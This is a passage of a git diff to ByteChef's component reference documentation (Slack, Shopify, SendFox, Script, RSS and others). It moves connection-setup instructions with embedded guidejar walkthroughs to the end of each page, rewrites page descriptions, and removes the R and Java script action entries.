-4. Enter the token name and click **Add**.
-5. Copy the token and user Id and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/88MeOqDAxaO2wjPh9fYY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -125,8 +113,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Channel Message
 Name: sendChannelMessage
 
@@ -201,8 +187,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Channel
 Name: createChannel
 
@@ -277,8 +261,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -306,4 +288,18 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Navigate to your dashboard.
+2. Go to your account and click on **Profile**.
+3. Click on **Personal Access Tokens**.
+4. Enter the token name and click **Add**.
+5. Copy the token and user Id and use it in ByteChef.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/88MeOqDAxaO2wjPh9fYY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/rss_v1.mdx b/docs/content/docs/reference/components/rss_v1.mdx
index 957c2b2e3a0..01c4b56b6da 100644
--- a/docs/content/docs/reference/components/rss_v1.mdx
+++ b/docs/content/docs/reference/components/rss_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "RSS"
-description: "RSS.app is a web-based tool that helps you create, customize, and manage RSS feeds—even from websites that don’t provide them natively."
+description: "RSS component for ByteChef. Feed reading and management. Learn how to implement this in your ByteChef workflows."
+title: RSS
 ---
 
-
 Categories: Social Media
 
 
@@ -30,39 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Setup webhook
-
-1. Create ByteChef workflow with RSS trigger.
-2. Click this icon to publish the project.
-3. Click on **Publish**.
-4. Click this icon to go to Project Deployments.
-5. Click on **Create Deployment**.
-6. Click on **Select...** and select your RSS project and desired version.
-7. Click on **Next**.
-8. Enable workflow.
-9. Choose connection.
-10. Click on **Save**.
-11. Enable deployment.
-12. Click here to expand the deployment.
-13. Click this icon to copy webhook URL.
-14. Navigate to [RSS app](https://rss.app/).
-15. Click on **MY FEEDS**.
-16. Click this icon.
-17. Click on **Webhooks**.
-18. Click **New Webhook** button.
-19. Enter copied webhook URL.
-20. Click on **Add Webhook**.
-21. Click on **Select Feed or Bundle**.
-22. Select desired feed.
-23. Click on **Save**.
-24. Click on **Send Test**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6ea6b97e-6f98-45f4-9352-c755fe688a18?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -137,8 +103,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -181,10 +145,45 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Setup webhook
+
+1. Create ByteChef workflow with RSS trigger.
+2. Click this icon to publish the project.
+3. Click on **Publish**.
+4. Click this icon to go to Project Deployments.
+5. Click on **Create Deployment**.
+6. Click on **Select...** and select your RSS project and desired version.
+7. Click on **Next**.
+8. Enable workflow.
+9. Choose connection.
+10. Click on **Save**.
+11. Enable deployment.
+12. Click here to expand the deployment.
+13. Click this icon to copy webhook URL.
+14. Navigate to [RSS app](https://rss.app/).
+15. Click on **MY FEEDS**.
+16. Click this icon.
+17. Click on **Webhooks**.
+18. Click **New Webhook** button.
+19. Enter copied webhook URL.
+20. Click on **Add Webhook**.
+21. Click on **Select Feed or Bundle**.
+22. Select desired feed.
+23. Click on **Save**.
+24. Click on **Send Test**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/6ea6b97e-6f98-45f4-9352-c755fe688a18?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/salesflare_v1.mdx b/docs/content/docs/reference/components/salesflare_v1.mdx
index b250c013324..df207ab89ea 100644
--- a/docs/content/docs/reference/components/salesflare_v1.mdx
+++ b/docs/content/docs/reference/components/salesflare_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Salesflare"
-description: "Salesflare is a CRM software designed to help small businesses and startups manage their customer relationships efficiently."
+description: "Salesflare component for ByteChef. Manage CRM data, contacts, and automate customer relationship workflows."
+title: Salesflare
 ---
 
-
 Categories: CRM
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -78,8 +76,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Contacts
 Name: createContacts
 
@@ -139,8 +135,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Create Tasks
 Name: createTasks
 
@@ -196,11 +190,8 @@ Items Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/salesforce_v1.mdx b/docs/content/docs/reference/components/salesforce_v1.mdx
index d23c8293a3f..56d3b50cd53 100644
--- a/docs/content/docs/reference/components/salesforce_v1.mdx
+++ b/docs/content/docs/reference/components/salesforce_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Salesforce"
-description: "Salesforce is a cloud-based customer relationship management (CRM) platform that provides tools for sales, service, marketing, and analytics to help businesses manage customer interactions and data."
+description: "Salesforce component for ByteChef. CRM platform. Learn how to implement this in your ByteChef workflows."
+title: Salesforce
 ---
 
-
 Categories: CRM
 
 
@@ -33,7 +32,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -91,8 +89,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Record
 Name: deleteRecord
 
@@ -125,8 +121,6 @@ This action does not produce any output.
 
 
 
-
-
 ### SOQL Query
 Name: soqlQuery
 
@@ -157,8 +151,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update Record
 Name: updateRecord
 
@@ -196,8 +188,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -232,7 +222,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### Updated Record
 Name: updatedRecord
 
@@ -266,10 +255,8 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/schedule_v1.mdx b/docs/content/docs/reference/components/schedule_v1.mdx
index 0360ffd0a41..f85aba4c7c7 100644
--- a/docs/content/docs/reference/components/schedule_v1.mdx
+++ b/docs/content/docs/reference/components/schedule_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Schedule"
-description: "With the Scheduled trigger, you can initiate customized workflows at specific time intervals."
+description: "Schedule component for ByteChef. Scheduled workflow trigger. Learn how to implement this in your ByteChef workflows."
+title: Schedule
 ---
 
-
 Categories: Helpers
 
 
@@ -72,7 +71,6 @@ Type: OBJECT
 ```
 
 
-
 ### Every Week
 Name: everyWeek
 
@@ -127,7 +125,6 @@ Type: OBJECT
 ```
 
 
-
 ### Every Month
 Name: everyMonth
 
@@ -182,7 +179,6 @@ Type: OBJECT
 ```
 
 
-
 ### Interval
 Name: interval
 
@@ -231,7 +227,6 @@ Type: OBJECT
 ```
 
 
-
 ### Cron
 Name: cron
 
@@ -277,9 +272,4 @@ Type: OBJECT
   },
   "type" : "schedule/v1/cron"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/scrape-graph-ai_v1.mdx b/docs/content/docs/reference/components/scrape-graph-ai_v1.mdx
index 91a192d072f..6af58dc4505 100644
--- a/docs/content/docs/reference/components/scrape-graph-ai_v1.mdx
+++ b/docs/content/docs/reference/components/scrape-graph-ai_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "ScrapeGraphAI"
-description: "ScrapeGraphAI is a web scraping python library that uses LLM and direct graph logic to create scraping pipelines for websites and local documents."
+description: "Scrape Graph AI component. Web scraping with AI. Learn how to implement this in your ByteChef workflows."
+title: ScrapeGraphAI
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -30,15 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://dashboard.scrapegraphai.com/login.
-2. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/sfm38npUXm3cFkg5AaNp?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -104,8 +94,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Markdownify
 Name: markdownify
 
@@ -161,8 +149,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Smart Scraper
 Name: smartScraper
 
@@ -222,8 +208,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Start SmartCrawler
 Name: startCrawl
 
@@ -300,8 +284,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get SmartCrawler Status
 Name: getCrawlStatus
 
@@ -361,5 +343,15 @@ Type: OBJECT
 
 
 
+<hr />
 
+# Additional Instructions
 
+## Connection Setup
+
+1. Login to the dashboard at https://dashboard.scrapegraphai.com/login.
+2. Copy the API key. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/sfm38npUXm3cFkg5AaNp?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/script_v1.mdx b/docs/content/docs/reference/components/script_v1.mdx
index c82ac13292d..bd14d6bd20a 100644
--- a/docs/content/docs/reference/components/script_v1.mdx
+++ b/docs/content/docs/reference/components/script_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Script"
-description: "Executes user-defined code. User can write custom workflow logic in Java, JavaScript, Python, R or Ruby programming languages."
+description: "Script component for ByteChef. Execute custom code. Learn how to implement this in your ByteChef workflows."
+title: Script
 ---
 
-
 Categories: Helpers, Developer Tools
 
 
@@ -49,8 +48,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Python
 Name: python
 
@@ -83,42 +80,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
-### R
-Name: r
-
-`Executes custom R code.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| input | Input | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | Initialize parameter values used in the custom code. | false |
-| script | R Code | STRING | Add your R custom logic here. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "R",
-  "name" : "r",
-  "parameters" : {
-    "input" : { },
-    "script" : ""
-  },
-  "type" : "script/v1/r"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
 ### Ruby
 Name: ruby
 
@@ -153,42 +114,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-### Java
-Name: java
-
-`Executes custom Java code.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| input | Input | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | Initialize parameter values used in the custom code. | false |
-| script | Java Code | STRING | Add your Java custom logic here. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Java",
-  "name" : "java",
-  "parameters" : {
-    "input" : { },
-    "script" : ""
-  },
-  "type" : "script/v1/java"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
 <hr />
 
 # Additional Instructions
@@ -232,7 +157,7 @@ function perform(input, context) {
 }
 ```
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/a905b8d2-66d0-4d0d-82fb-46c11117c688?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0">
     </iframe></div>
 
@@ -257,6 +182,6 @@ function perform(input, context) {
 }
 ```
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
 <iframe src="https://www.guidejar.com/embed/6ec7275a-fbd9-4bd9-b97b-1c1a460acd9a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0">
-</iframe></div>
+</iframe></div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/sendfox_v1.mdx b/docs/content/docs/reference/components/sendfox_v1.mdx
index 9d09a3ad4b5..d991fc1b16d 100644
--- a/docs/content/docs/reference/components/sendfox_v1.mdx
+++ b/docs/content/docs/reference/components/sendfox_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "SendFox"
-description: "SendFox lets you automate email campaigns, complete with custom opt-in forms and landing pages, so you're not tanking your budget to get new subscribers."
+description: "SendFox component for ByteChef. Email marketing. Learn how to implement this in your ByteChef workflows."
+title: SendFox
 ---
 
-
 Categories: Advertising
 
 
@@ -30,23 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find OAuth Client ID and Client Secret
-
-1. Navigate to your dashboard.
-2. Click this icon.
-3. Click on **Settings**.
-4. Click on **API**.
-5. Click on **Create New Client**.
-6. Enter OAuth client name.
-7. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback. Click on **Create**.
-8. Here you can see your credentials.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c32a46b5-b477-499c-821f-99fd44407277?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -157,8 +139,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create List
 Name: createList
 
@@ -210,8 +190,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Unsubscribe Contact
 Name: unsubscribeContact
 
@@ -310,11 +288,29 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find OAuth Client ID and Client Secret
+
+1. Navigate to your dashboard.
+2. Click this icon.
+3. Click on **Settings**.
+4. Click on **API**.
+5. Click on **Create New Client**.
+6. Enter OAuth client name.
+7. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback. Click on **Create**.
+8. Here you can see your credentials.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/c32a46b5-b477-499c-821f-99fd44407277?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/sendgrid_v1.mdx b/docs/content/docs/reference/components/sendgrid_v1.mdx
index 0a1950c10a0..6c032a02434 100644
--- a/docs/content/docs/reference/components/sendgrid_v1.mdx
+++ b/docs/content/docs/reference/components/sendgrid_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Sendgrid"
-description: "Trusted for reliable email delivery at scale."
+description: "SendGrid component for ByteChef. Email delivery. Learn how to implement this in your ByteChef workflows."
+title: Sendgrid
 ---
 
-
 Categories: Communication, Marketing Automation
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -87,11 +85,8 @@ This action does not produce any output.
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/shopify_v1.mdx b/docs/content/docs/reference/components/shopify_v1.mdx
index 4b4d43edf8a..9c4b1b135aa 100644
--- a/docs/content/docs/reference/components/shopify_v1.mdx
+++ b/docs/content/docs/reference/components/shopify_v1.mdx
@@ -31,76 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create Shopify App (Credentials and Shop Name)
-
-1. Navigate to https://dev.shopify.com/dashboard/.
-2. Click on **Create app**.
-3. Enter App name and click on **Create**.
-4. Enter app and redirect url. Depending on which version of ByteChef you are using enter link or link for **Redirect URL**. And link or link for **App URL**.
-5. Enter required scopes:
-    read_customers,read_draft_orders,read_orders,write_orders,write_products
-and click on **Release**
-6. Click on **Release**.
-7. Click on **Settings**.
-8. Here you can see your credentials.
-9. Click on your account icon.
-10. Click on shop you want to connect to.
-11. Click on **Settings**.
-12. Here you can see your **Shop name**.
-13. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/14813747-a521-4abe-a5d4-077b94f25c78?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Install Shopify App
-
-1. Navigate to https://dev.shopify.com/dashboard/.
-2. Click your app.
-3. Click on **Install app**.
-4. Choose Shopify store you want to install your app in.
-5. Click on **Install**.
-6. Click on **Settings**.
-7. Click on **Apps and sales channels**.
-8. Here you can see your app is installed.
-9. Done. 🚀
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/980d4914-8f34-429d-8064-9daf53070d9d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Enable Read All Orders Permission
-
-1. Navigate to https://partners.shopify.com/organizations.
-2. Choose your organization.
-3. Click on your app.
-4. Click on **API access requests**.
-5. Click on **Choose distribution**.
-6. Click on **Custom Distribution**.
-7. Click on **Select**.
-8. Click on **Select custom distribution**.
-9. Enter your **Shop name** here. In this example it is `bytechef-test-store.myshopify.com`.
-10. Click on **Generate link**.
-11. Click on **Generate link**.
-12. Click on **API access requests**.
-13. Click on **Request access** under **Read all orders scope**.
-14. Enter reason here.
-15. Click on **Request access**.
-16. Navigate to https://dev.shopify.com/dashboard/.
-17. Click on your app.
-18. Click on **Versions**.
-19. Click **Create a version**.
-20. Add `read_all_orders` to scopes.
-21. Click on **Release**.
-22. Click on **Release**.
-23. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ef35fc0e-cfd2-4233-899a-c1745f181246?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -175,8 +105,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Close Order
 Name: closeOrder
 
@@ -236,8 +164,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Order
 Name: createOrder
 
@@ -305,8 +231,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Order
 Name: deleteOrder
 
@@ -359,8 +283,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Order
 Name: getOrder
 
@@ -430,8 +352,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Order
 Name: updateOrder
 
@@ -496,8 +416,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -523,7 +441,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### New Order
 Name: newOrder
 
@@ -546,7 +463,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### New Paid Order
 Name: newPaidOrder
 
@@ -571,10 +487,76 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
 
-## What to do if your action is not listed here?
+# Additional Instructions
 
-If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
+## Connection Setup
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
+### Create Shopify App (Credentials and Shop Name)
 
+1. Navigate to https://dev.shopify.com/dashboard/.
+2. Click on **Create app**.
+3. Enter App name and click on **Create**.
+4. Enter app and redirect url. Depending on which version of ByteChef you are using enter link or link for **Redirect URL**. And link or link for **App URL**.
+5. Enter required scopes:
+    read_customers,read_draft_orders,read_orders,write_orders,write_products
+and click on **Release**
+6. Click on **Release**.
+7. Click on **Settings**.
+8. Here you can see your credentials.
+9. Click on your account icon.
+10. Click on shop you want to connect to.
+11. Click on **Settings**.
+12. Here you can see your **Shop name**.
+13. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/14813747-a521-4abe-a5d4-077b94f25c78?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+### Install Shopify App
+
+1. Navigate to https://dev.shopify.com/dashboard/.
+2. Click your app.
+3. Click on **Install app**.
+4. Choose Shopify store you want to install your app in.
+5. Click on **Install**.
+6. Click on **Settings**.
+7. Click on **Apps and sales channels**.
+8. Here you can see your app is installed.
+9. Done. 🚀
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/980d4914-8f34-429d-8064-9daf53070d9d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+### Enable Read All Orders Permission
+
+1. Navigate to https://partners.shopify.com/organizations.
+2. Choose your organization.
+3. Click on your app.
+4. Click on **API access requests**.
+5. Click on **Choose distribution**.
+6. Click on **Custom Distribution**.
+7. Click on **Select**.
+8. Click on **Select custom distribution**.
+9. Enter your **Shop name** here. In this example it is `bytechef-test-store.myshopify.com`.
+10. Click on **Generate link**.
+11. Click on **Generate link**.
+12. Click on **API access requests**.
+13. Click on **Request access** under **Read all orders scope**.
+14. Enter reason here.
+15. Click on **Request access**.
+16. Navigate to https://dev.shopify.com/dashboard/.
+17. Click on your app.
+18. Click on **Versions**.
+19. Click **Create a version**.
+20. Add `read_all_orders` to scopes.
+21. Click on **Release**.
+22. Click on **Release**.
+23. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/ef35fc0e-cfd2-4233-899a-c1745f181246?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/slack_v1.mdx b/docs/content/docs/reference/components/slack_v1.mdx
index 540484d3d66..6e8b6b50b5b 100644
--- a/docs/content/docs/reference/components/slack_v1.mdx
+++ b/docs/content/docs/reference/components/slack_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Slack"
-description: "Slack is a messaging platform for teams to communicate and collaborate."
+description: "Slack component for ByteChef. Team messaging. Learn how to implement this in your ByteChef workflows."
+title: Slack
 ---
 
-
 Categories: Communication, Developer Tools
 
 
@@ -30,36 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 App
-
-1. Navigate to [Slack App](https://api.slack.com/apps).
-2. Click on **Create New App**.
-3. Click on **From scratch**.
-4. Enter name of your app and select workspace where it will be installed.
-5. Click on **Create App**.
-6. Click on **Basic Information**
-7. Click on **OAuth & Permissions**.
-8. Click on **Add New Redirect URL**. ByteChef redirect URL: https://127.0.0.1:5173/callback or https://app.bytechef.io/callback.
-9. Click on **Add**.
-10. Click on **Save URLs**.
-11. Click on **Add an OAuth Scope**.
-    - channels:read
-    - channels:write
-    - channels:history
-    - chat:write:bot
-    - groups:read
-    - reactions:read
-    - mpim:read
-    - users:read
-    - incoming-webhook
-12. Under OAuth tokens click on **Install to ...**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/893e27e9-f6f7-4a07-bae8-b08169858c43?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -125,8 +94,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Approval Message
 Name: sendApprovalMessage
 
@@ -195,8 +162,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Channel Message
 Name: sendChannelMessage
 
@@ -265,8 +230,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Direct Message
 Name: sendDirectMessage
 
@@ -336,8 +299,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -365,7 +326,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -376,6 +336,36 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 App
+
